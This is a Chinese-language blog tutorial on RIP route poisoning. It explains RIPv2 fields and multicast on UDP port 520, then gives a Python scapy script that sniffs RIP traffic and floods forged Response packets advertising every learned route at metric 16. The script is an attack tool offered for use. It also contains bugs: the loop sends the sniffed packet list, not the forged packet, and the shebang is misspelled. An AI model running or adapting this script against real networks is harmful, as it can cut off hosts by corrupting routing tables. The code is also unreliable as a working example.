Python 協議攻擊腳本(八): RIP攻擊

RIP

RIP是Routing Information Protocol(路由信息協議)的簡稱,它是一種較爲簡單的內部網關協議(Interior Gateway Protocol)。RIP是一種基於距離矢量(Distance-Vector)算法的協議,它使用跳數(Hop Count)作爲度量來衡量到達目的網絡的距離。RIP通過UDP報文進行路由信息的交換,使用的端口號爲520。

RIPv2報文部分字段

  • command
    • 1:Request報文,向鄰居請求全部或部分路由信息;
    • 2:Reponse報文,發送自己全部或部分路由信息,一個Response報文中最多包含25個路由表項。
  • next Hop 下一跳地址
  • metric 路由的開銷值

RIP毒化:

原理

RIP是一種基於距離矢量(Distance-Vector)算法的協議,它使用跳數(Hop Count)作爲度量值來衡量到達目的地址的距離。度量值等於從本網絡到達目的網絡間的設備數量。大於或等於16的跳數被定義爲無窮大,即目的網絡或主機不可達。

RIP消息通過組播地址224.0.0.9和UDP協議的520端口進行廣播;RIP每30秒向鄰居路由器發送一次廣播,廣播整個路由。攻擊者則僞造成附近路由,再把開銷設爲16,達成路由毒化

RIP基礎知識

數據包分析

下載rip的包

下載

mark

IP:

  • src: 路由器ip

  • dst: 224.0.0.9 rip多播地址

UDP:

  • sport:520

  • dport:520

RIP:

  • command:2 Response
  • Metric:1開銷

編寫腳本

查看scapy模塊中RIP協議字段

>>> ls(RIP)
cmd        : ByteEnumField                       = (1)
version    : ByteField                           = (1)
null       : ShortField                          = (0)
>>> ls(RIPEntry)
AF         : ShortEnumField                      = (2)
RouteTag   : ShortField                          = (0)
addr       : IPField                             = ('0.0.0.0')
mask       : IPField                             = ('0.0.0.0')
nextHop    : IPField                             = ('0.0.0.0')
metric     : IntEnumField                        = (1)

腳本

#!/usr/bin/env pyhton3
# -*- coding:utf-8 -*-

from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send

packet = sniff(stop_filter=lambda x:x.haslayer(RIP))
mac_dst= packet[-1][Ether].dst
mac_src= packet[-1][Ether].src
ip = packet[-1][RIPEntry].addr
entry = packet[-1][RIPEntry]
ripentry = RIPEntry(addr=ip,metric=16)

#判斷是否有多個路由信息
if entry.getlayer(RIPEntry,2):
    while entry:
        #獲取下一個路由信息
        entry = entry.getlayer(RIPEntry, 2)
        ip = entry.addr
        ripentry = ripentry / RIPEntry(addr=ip, metric=16)


rip = (Ether(dst=mac_dst,src=mac_src)
       /IP(dst="224.0.0.9",src=ip)
       /UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry)

while True:
    packet.show()
    send(packet,verbose=0)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章